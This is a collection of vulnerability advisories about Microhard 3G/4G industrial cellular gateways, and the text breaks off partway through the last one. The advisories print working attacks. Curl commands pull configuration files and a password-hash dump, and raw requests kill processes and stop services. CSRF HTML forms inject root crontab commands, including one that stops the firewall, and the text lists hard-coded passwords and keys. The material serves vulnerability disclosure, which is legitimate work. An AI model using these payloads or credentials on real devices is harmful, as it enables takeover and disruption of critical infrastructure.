Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The system backup configuration file 'IPn4G.config' in '/' directory or its respective
name based on the model name including the similar files in '/www/cgi-bin/system.conf', '/tmp'
and the cli.conf in '/etc/m_cli/' can be downloaded by an authenticated attacker in certain
circumstances. This will enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation and/or full system access.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5484
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5484.php
13.03.2018
--
/etc/m_cli/cli.conf:
--------------------
curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc/m_cli&savefile=cli.conf" -H "Authorization: Basic YWRtaW46YWRtaW4=" |grep passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2719 100 2719 0 0 2574 0 0:00:01 0:00:01 --:--:-- 2577
passwd admin
/www/IPn4G.config:
------------------
lqwrm@metalgear:~$ curl http://192.168.1.1/IPn4G.config -o IPn4G.tar.gz -H "Authorization: Basic YWRtaW46YWRtaW4="
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13156 100 13156 0 0 9510 0 0:00:01 0:00:01 --:--:-- 9512
lqwrm@metalgear:~$ tar -zxf IPn4G.tar.gz ; ls
config.boardinfo config.boardtype config.date config.name etc IPn4G.tar.gz usr
lqwrm@metalgear:~$ cat config.boardinfo config.boardtype config.date config.name
2012 Microhard Systems Inc.:IPn4Gb-IPn4G:v1.0.0
Atheros AR7130 rev 2
Thu Jul 12 12:42:42 PDT 2018
IPn4G
lqwrm@metalgear:~$ cat usr/lib/hardware_desc
modem_type="N930"
LTE_ATCOMMAND_PORT="/dev/ttyACM0"
LTE_DIAG_PORT=""
LTE_GPS_PORT=""
wificard = "0"
lqwrm@metalgear:~$ ls etc/
config crontabs dropbear ethers firewall.user hosts httpd.conf passwd ssl
lqwrm@metalgear:~$ ls etc/config/
comport dhcp gpsgatetr iperf modbusd notes sdpServer twatchdog webif_access_control
comport2 dropbear gpsr ipsec msmscomd ntpclient snmpd updatedd websockserver
coova-chilli ethernet gpsrecorderd keepalive msshc ntrd snmpd.conf vlan wireless
cron eurd gre-tunnels localmonitor network pimd system vnstat wsclient
crontabs firewall httpd lte network_IPnVTn3G ping timezone vpnc
datausemonitor gpsd ioports lte362 network_VIP4G salertd tmpstatus webif
lqwrm@metalgear:~$ cat etc/passwd
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
/www/cgi-bin/system.conf:
-------------------------
lqwrm@metalgear:~$ curl -O http://192.168.1.1/cgi-bin/system.conf -H "Authorization: Basic YWRtaW46YWRtaW4="
lqwrm@metalgear:~$ cat system.conf |grep -irnH "password" -A2
system.conf:236:#VPN Admin Password:
system.conf-237-NetWork_IP_VPN_Passwd=admin
system.conf-238-
--
system.conf:309:#V3 Authentication Password:
system.conf:310:NetWork_SNMP_V3_Auth_Password=00000000
system.conf-311-
system.conf:312:#V3 Privacy Password:
system.conf:313:NetWork_SNMP_V3_Privacy_Password=00000000
Login to FTP (upgrade:admin). In /tmp/ or /tmp/upgrade/ the system.conf (gzipped) is located.
---------------------------------------------------------------------------------------------
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: There is an undocumented and hidden feature that allows an authenticated attacker
to list running processes in the operating system and send arbitrary signals to kill
any process running in the background including starting and stopping system services.
This impacts availability and can be triggered also by CSRF attacks that requires device
restart and/or factory reset to rollback malicious changes.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5481
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php
13.03.2018
--
POST /cgi-bin/webif/status-processes.sh HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://166.130.177.150
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.1/cgi-bin/webif/status-processes.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: style=null
signal=SIGILL&pid=1337&kill=+Send+
===
Available services:
# ls /etc/init.d/
boot dmesgbackup gpsgatetr ipsecfwadd mh_product quagga sysctl vlan
checksync dnsmasq gpsr keepalive modbusd rcS systemmode vnstat
coova-chilli done gpsrecorderd led msmscomd salertd telnet watchdog
cron dropbear gred ledcon msshc sdpServer timezone webif
crontab eurd httpd localmonitord network snmpd twatchdog webiffirewalllog
custom-user-startup firewall ioports logtrigger ntpclient soip umount websockserverd
datausemonitord force_reboot iperf lte ntrd soip2 updatedd wsClient
defconfig ftpd ipsec lteshutdown nxl2tpd-wan soip2.getty usb xl2tpd
dhcp_client gpsd ipsec_vpn media_ctrl pimd soipd1 vcad xl2tpd-wan
Stop the HTTPd:
GET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The application suffers from multiple authenticated arbitrary remote code execution
vulnerabilities with highest privileges. This is due to multiple hidden and undocumented
features within the admin interface that allows an attacker to create crontab jobs and/or
modify the system startup script that allows execution of arbitrary code as root user.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5479
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5479.php
13.03.2018
--
Crontab #1:
-----------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="submit" value="1" />
<input type="hidden" name="sltMinutes" value="" />
<input type="hidden" name="sltHours" value="" />
<input type="hidden" name="sltDays" value="" />
<input type="hidden" name="sltMonths" value="" />
<input type="hidden" name="sltDaysOfWeek" value="" />
<input type="hidden" name="txthMinutes" value="" />
<input type="hidden" name="txthHours" value="" />
<input type="hidden" name="txthDays" value="" />
<input type="hidden" name="txthMonths" value="" />
<input type="hidden" name="txthDaysOfWeek" value="" />
<input type="hidden" name="ddEveryXminute" value="" />
<input type="hidden" name="ddEveryXhour" value="" />
<input type="hidden" name="ddEveryXday" value="" />
<input type="hidden" name="txtCommand" value="" />
<input type="hidden" name="txthCronEnabled" value="0" />
<input type="hidden" name="txtCrontabEntry" value="" />
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
<input type="hidden" name="MINUTES_cfg04b4e9" value="*" />
<input type="hidden" name="HOURS_cfg04b4e9" value="*" />
<input type="hidden" name="DAYS_cfg04b4e9" value="*" />
<input type="hidden" name="MONTHS_cfg04b4e9" value="*" />
<input type="hidden" name="WEEKDAYS_cfg04b4e9" value="*" />
<input type="hidden" name="COMMAND_cfg04b4e9" value="id > /www/pwn.txt" />
<input type="hidden" name="ENABLED_cfg04b4e9" value="1" />
<input type="hidden" name="MINUTES_newCron" value="" />
<input type="hidden" name="HOURS_newCron" value="" />
<input type="hidden" name="DAYS_newCron" value="" />
<input type="hidden" name="MONTHS_newCron" value="" />
<input type="hidden" name="WEEKDAYS_newCron" value="" />
<input type="hidden" name="COMMAND_newCron" value="" />
<input type="hidden" name="ENABLED_newCron" value="" />
<input type="hidden" name="action" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
---
curl http://192.168.1.1/pwn.txt
uid=0(root) gid=0(root) groups=0(root)
Start ftpd:
-----------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-startup.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="path" value="/etc/init.d" />
<input type="hidden" name="edit" value="custom-user-startup" />
<input type="hidden" name="filecontent" value="#!/bin/sh /etc/rc.common
START=90
# place your own startup commands here
#
# REMEMBER: You *MUST* place an '&' after launching programs you
# that are to continue running in the background.
#
# i.e.
# BAD: upnpd
# GOOD: upnpd &
#
# Failure to do this will result in the startup process halting
# on this file and the diagnostic light remaining on (at least
# for WRT54G(s) models).
#
ftpd &
" />
<input type="hidden" name="save" value=" Save Changes " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Crontab #2:
-----------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="submit" value="1" />
<input type="hidden" name="sltMinutes" value="" />
<input type="hidden" name="sltHours" value="" />
<input type="hidden" name="sltDays" value="" />
<input type="hidden" name="sltMonths" value="" />
<input type="hidden" name="sltDaysOfWeek" value="" />
<input type="hidden" name="txthMinutes" value="*" />
<input type="hidden" name="txthHours" value="*" />
<input type="hidden" name="txthDays" value="*" />
<input type="hidden" name="txthMonths" value="*" />
<input type="hidden" name="txthDaysOfWeek" value="*" />
<input type="hidden" name="ddEveryXminute" value="" />
<input type="hidden" name="ddEveryXhour" value="" />
<input type="hidden" name="ddEveryXday" value="" />
<input type="hidden" name="txtCommand" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
<input type="hidden" name="chkCronEnabled" value="on" />
<input type="hidden" name="txthCronEnabled" value="1" />
<input type="hidden" name="txtCrontabEntry" value="* * * * * uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
<input type="hidden" name="MINUTES_cfg0421ec" value="*" />
<input type="hidden" name="HOURS_cfg0421ec" value="*" />
<input type="hidden" name="DAYS_cfg0421ec" value="*" />
<input type="hidden" name="MONTHS_cfg0421ec" value="*" />
<input type="hidden" name="WEEKDAYS_cfg0421ec" value="*" />
<input type="hidden" name="COMMAND_cfg0421ec" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
<input type="hidden" name="ENABLED_cfg0421ec" value="1" />
<input type="hidden" name="MINUTES_newCron" value="" />
<input type="hidden" name="HOURS_newCron" value="" />
<input type="hidden" name="DAYS_newCron" value="" />
<input type="hidden" name="MONTHS_newCron" value="" />
<input type="hidden" name="WEEKDAYS_newCron" value="" />
<input type="hidden" name="COMMAND_newCron" value="" />
<input type="hidden" name="ENABLED_newCron" value="" />
<input type="hidden" name="action" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
---
curl http://192.168.1.1/os.txt
Linux IPn4G 2.6.32.9 #1 Mon Jun 20 15:28:30 MDT 2016 mips GNU/Linux
drwxr-xr-x 5 root root 0 Jul 1 14:01 .
drwxr-xr-x 7 root root 0 Dec 31 1969 ..
-rw-r--r-- 1 root root 4 Apr 12 2010 .version
-rw-r--r-- 1 root root 13461 May 8 15:54 IPn4G.config
drwxr-xr-x 3 root root 0 Jun 20 2016 cgi-bin
-rw-r--r-- 1 root root 2672 Apr 1 2010 colorize.js
-rwxr-xr-x 1 root root 3638 May 10 2010 favicon.ico
drwxr-xr-x 2 root root 959 Jun 20 2016 images
-rw-r--r-- 1 root root 600 Feb 12 2013 index.html
drwxr-xr-x 2 root root 224 Jun 20 2016 js
-rw-r--r-- 1 root root 68 Mar 1 14:09 os.txt
drwxr-xr-x 2 root root 79 Jun 20 2016 svggraph
drwxr-xr-x 2 root root 0 Jul 1 14:02 themes
drwxr-xr-x 2 root root 0 May 8 16:21 vnstat
-rw-r--r-- 1 root root 953 Apr 1 2010 webif.js
uid=0(root) gid=0(root) groups=0(root)
Disable firewall:
-----------------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="submit" value="1" />
<input type="hidden" name="sltMinutes" value="" />
<input type="hidden" name="sltHours" value="" />
<input type="hidden" name="sltDays" value="" />
<input type="hidden" name="sltMonths" value="" />
<input type="hidden" name="sltDaysOfWeek" value="" />
<input type="hidden" name="txthMinutes" value="*" />
<input type="hidden" name="txthHours" value="*" />
<input type="hidden" name="txthDays" value="*" />
<input type="hidden" name="txthMonths" value="*" />
<input type="hidden" name="txthDaysOfWeek" value="*" />
<input type="hidden" name="ddEveryXminute" value="" />
<input type="hidden" name="ddEveryXhour" value="" />
<input type="hidden" name="ddEveryXday" value="" />
<input type="hidden" name="txtCommand" value="/etc/init.d/firewall stop" />
<input type="hidden" name="chkCronEnabled" value="on" />
<input type="hidden" name="txthCronEnabled" value="1" />
<input type="hidden" name="txtCrontabEntry" value="* * * * * /etc/init.d/firewall stop" />
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
<input type="hidden" name="MINUTES_cfg04f65b" value="*" />
<input type="hidden" name="HOURS_cfg04f65b" value="*" />
<input type="hidden" name="DAYS_cfg04f65b" value="*" />
<input type="hidden" name="MONTHS_cfg04f65b" value="*" />
<input type="hidden" name="WEEKDAYS_cfg04f65b" value="*" />
<input type="hidden" name="COMMAND_cfg04f65b" value="/etc/init.d/firewall stop" />
<input type="hidden" name="ENABLED_cfg04f65b" value="1" />
<input type="hidden" name="MINUTES_newCron" value="" />
<input type="hidden" name="HOURS_newCron" value="" />
<input type="hidden" name="DAYS_newCron" value="" />
<input type="hidden" name="MONTHS_newCron" value="" />
<input type="hidden" name="WEEKDAYS_newCron" value="" />
<input type="hidden" name="COMMAND_newCron" value="" />
<input type="hidden" name="ENABLED_newCron" value="" />
<input type="hidden" name="action" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Default Credentials
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the gateway. Another vulnerability could allow an authenticated
attacker to gain root access. The vulnerability is due to default credentials. An attacker
could exploit this vulnerability by logging in using the default credentials.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5480
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5480.php
13.03.2018
--
System/Web/FTP:
---------------
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
upgrade:admin
testlab:testlab
testlab1:testlab1
admin:admin
msshc:msshc
BCLC config defaults:
---------------------
IPSec preshared key: DerekUsedThisSecureKeyToEncryptClientAccessIn2014
Access control user/pass: admin:5@lm0nIsG00d
NMS System setting pass: NotComplicated
Webclient setting user/pass: webclient:AlsoNotComplicated
System access control user/pass: readonly:ItIsAlmostFriday
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
